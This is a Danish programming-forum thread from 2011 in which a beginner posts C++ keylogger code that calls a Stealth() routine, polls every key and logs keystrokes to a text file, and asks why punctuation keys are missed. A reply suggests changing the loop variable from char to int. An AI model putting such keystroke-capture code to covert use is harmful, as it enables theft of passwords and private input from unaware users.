Avatar billede mac10 Nybegynder
24. maj 2011 - 10:27 Der er 2 kommentarer

key_stroke forstår ikke punktum og bindestreg?

Hej derude,

Jeg sidder og leger med C++ og prøver at genkende alle tegn der skrives, og det virker også fint bortset fra enkelte.

Virker fint

else if (key_stroke == 113)
fprintf(OUTPUT_FILE, "%s", "[F2]");


Men når jeg prøver at skrive ,.-*+ osv. så vil den ikke genkende dem selvom jeg bruger de rigtige koder.


else if (key_stroke == 110 || key_stroke == 190)
fprintf(OUTPUT_FILE, "%s", ".");


Er der nogen der ved hvorfor den ikke kan registrere "speciel" tegn?

------------- Hele min kode --------------


#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 222; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"C-TESTING.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_SUBTRACT)
fprintf(OUTPUT_FILE, "%s", "-");
else if (key_stroke == 64)
fprintf(OUTPUT_FILE, "%s", "@");
else if (key_stroke == 190 || key_stroke == 110 || key_stroke == 46)
fprintf(OUTPUT_FILE, "%s", ".");
else if (key_stroke == 93)
fprintf(OUTPUT_FILE, "%s", "[CONTEXT MENU]");
else if (key_stroke == 96)
fprintf(OUTPUT_FILE, "%s", "0");
else if (key_stroke == 97)
fprintf(OUTPUT_FILE, "%s", "1");
else if (key_stroke == 98)
fprintf(OUTPUT_FILE, "%s", "2");
else if (key_stroke == 99)
fprintf(OUTPUT_FILE, "%s", "3");
else if (key_stroke == 100)
fprintf(OUTPUT_FILE, "%s", "4");
else if (key_stroke == 101)
fprintf(OUTPUT_FILE, "%s", "5");
else if (key_stroke == 102)
fprintf(OUTPUT_FILE, "%s", "6");
else if (key_stroke == 103)
fprintf(OUTPUT_FILE, "%s", "7");
else if (key_stroke == 104)
fprintf(OUTPUT_FILE, "%s", "8");
else if (key_stroke == 105)
fprintf(OUTPUT_FILE, "%s", "9");
else if (key_stroke == 106)
fprintf(OUTPUT_FILE, "%s", "*");
else if (key_stroke == 107)
fprintf(OUTPUT_FILE, "%s", "+");
else if (key_stroke == 109)
fprintf(OUTPUT_FILE, "%s", "-");
else if (key_stroke == 110 || key_stroke == 190)
fprintf(OUTPUT_FILE, "%s", "[DOT]");
else if (key_stroke == 111)
fprintf(OUTPUT_FILE, "%s", "/");
else if (key_stroke == 112)
fprintf(OUTPUT_FILE, "%s", "[F1]");
else if (key_stroke == 113)
fprintf(OUTPUT_FILE, "%s", "[F2]");
else if (key_stroke == 114)
fprintf(OUTPUT_FILE, "%s", "[F3]");
else if (key_stroke == 115)
fprintf(OUTPUT_FILE, "%s", "[F4]");
else if (key_stroke == 116)
fprintf(OUTPUT_FILE, "%s", "[F5]");
else if (key_stroke == 117)
fprintf(OUTPUT_FILE, "%s", "[F6]");
else if (key_stroke == 118)
fprintf(OUTPUT_FILE, "%s", "[F7]");
else if (key_stroke == 119)
fprintf(OUTPUT_FILE, "%s", "[F8]");
else if (key_stroke == 120)
fprintf(OUTPUT_FILE, "%s", "[F9]");
else if (key_stroke == 121)
fprintf(OUTPUT_FILE, "%s", "[F10]");
else if (key_stroke == 122)
fprintf(OUTPUT_FILE, "%s", "[F11]");
else if (key_stroke == 144)
fprintf(OUTPUT_FILE, "%s", "[NUM LOCK]");
else if (key_stroke == 145)
fprintf(OUTPUT_FILE, "%s", "[SCROLL LOCK]");
else if (key_stroke == 123)
fprintf(OUTPUT_FILE, "%s", "[F12]");
else if (key_stroke == 186)
fprintf(OUTPUT_FILE, "%s", ";");
else if (key_stroke == 187)
fprintf(OUTPUT_FILE, "%s", "=");
else if (key_stroke == 188)
fprintf(OUTPUT_FILE, "%s", ",");
else if (key_stroke == 189)
fprintf(OUTPUT_FILE, "%s", "-");
else if (key_stroke == 191)
fprintf(OUTPUT_FILE, "%s", "/");
else if (key_stroke == 192)
fprintf(OUTPUT_FILE, "%s", "`");
else if (key_stroke == 219)
fprintf(OUTPUT_FILE, "%s", "[");
else if (key_stroke == 220)
fprintf(OUTPUT_FILE, "%s", "\"");
else if (key_stroke == 221)
fprintf(OUTPUT_FILE, "%s", "]");
else if (key_stroke == 222)
fprintf(OUTPUT_FILE, "%s", "'");
else if (!&key_stroke)
fprintf(OUTPUT_FILE, "%s", "[?]");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}



Det koden gør er at registrere hvad jeg klikker på og ligger det i en .txt fil. Grundet til at den skal ligge det i TXT fil er blot lige for at teste at den registerer de rigtige tegn - hvilket den så ikke gør :/
Avatar billede arne_v Ekspert
25. maj 2011 - 04:14 #1
Proev og ret:

char i;

til:

int i;
Avatar billede arne_v Ekspert
25. juni 2011 - 04:12 #2
all set?
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester